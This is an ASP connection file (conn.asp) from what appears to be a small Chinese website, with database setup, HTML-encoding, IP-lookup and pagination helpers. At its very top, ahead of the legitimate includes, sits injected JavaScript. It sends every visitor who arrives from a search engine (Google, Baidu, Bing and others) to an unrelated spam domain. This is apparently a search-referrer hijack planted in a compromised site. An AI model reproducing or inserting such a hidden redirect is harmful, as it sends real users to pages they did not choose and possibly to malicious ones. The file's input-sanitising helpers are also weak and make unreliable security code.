d:\wwwroot\wuchunhua\conn.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="setup.asp"-->
002:
<!--#include file="setup1.asp"-->
003:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
004:
<%
dim conn
005:
''On Error Resume Next '容错声明
006:
response.buffer=true
007:
dim db,connstr
008:
db="#data.asp"
009:
set Conn = server.CreateObject("ADODB.Connection")
010:
connstr="Provider = Microsoft.Jet.OLEDB.4.0;Data Source = "& server.MapPath("data/"&db&"")
011:
conn.Open connstr
012:
013:
014:
Function HtmlEncode(Content)
015:
Content = Replace(Content, ">", ">")
016:
Content = Replace(Content, "<", "<")
017:
Content = Replace(Content, "'", "")
018:
HtmlEncode = content
019:
End Function
020:
021:
Function HtmlEncode2(Content)
022:
Content = Replace(Content, ">", ">")
023:
Content = Replace(Content, "<", "<")
024:
Content = Replace(Content, " ", " ")
025:
Content = Replace(Content, "'", "")
026:
Content = Replace(Content, vbcrlf,"<br>")
027:
HtmlEncode2 = content
028:
End Function
029:
030:
Function strint(id)
031:
If IsNumeric(id) = 0 or id = "" Then id = 0
032:
strint = Clng(id)
033:
End Function
034:
035:
Function getIP()
036:
Dim strIPAddr
037:
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
038:
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
039:
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
040:
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
041:
actforip=Request.ServerVariables("REMOTE_ADDR")
042:
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
043:
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
044:
actforip=Request.ServerVariables("REMOTE_ADDR")
045:
Else
046:
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
047:
actforip=Request.ServerVariables("REMOTE_ADDR")
048:
End If
049:
getIP = Trim(Mid(strIPAddr, 1, 30))
050:
End Function
051:
052:
function isChkInteger(para)
053:
''On Error Resume Next
054:
dim str
055:
dim l,i
056:
if isNUll(para) then
057:
isChkInteger=false
058:
exit function
059:
end if
060:
str=cstr(para)
061:
if trim(str)="" then
062:
isChkInteger=false
063:
exit function
064:
end if
065:
l=len(str)
066:
for i=1 to l
067:
if mid(str,i,1)>"9" or mid(str,i,1)<"0" then
068:
isChkInteger=false
069:
exit function
070:
end if
071:
next
072:
isChkInteger=true
073:
if err.number<>0 then err.clear
074:
end function
075:
076:
Function PageSplit(currentpage,totalpage,pagename,type_id)
077:
if currentpage mod 10 = 0 then
078:
Sp = currentpage \ 10
079:
else
080:
Sp = currentpage \ 10 + 1
081:
end if
082:
Pagestart = (Sp-1)*10+1
083:
Pageend = Sp*10
084:
strSplit = "<a href="&pagename&"?pageid=1"&type_id&"><font face=webdings title=第一页>9</font></a> "
085:
if Sp > 1 then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart-10&type_id&"><font face=webdings title=前十页>7</font></a> "
086:
for j=PageStart to Pageend
087:
if j > totalpage then exit for
088:
if j <> currentpage then
089:
strSplit = strSplit & "<a href="&pagename&"?pageid="&j&type_id&">["&j&"]</a> "
090:
else
091:
strSplit = strSplit & "<font color=red>["&j&"]</font> "
092:
end if
093:
next
094:
if Sp*10 < totalpage then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart+10&type_id&"><font face=webdings title=后十页>8</font></a>"
095:
strSplit = strSplit & "<a href="&pagename&"?pageid="&totalpage&type_id&"><font face=webdings title=""最后一页"">:</font></a>"
096:
PageSplit = strSplit
097:
End Function
%
>
098:
<style>
099:
td{font-size:9pt;line-height:120%;color:#353535}
100:
body{font-size:9pt;line-height:120%}
101:
102:
a:link { color: #000000; text-decoration: none }
103:
a:visited { color: #000000; text-decoration: none }
104:
a:active { color: #000000; text-decoration: none }
105:
.pad {
106:
PADDING-LEFT: 2px
107:
}
108:
</style>
109:
110:
111: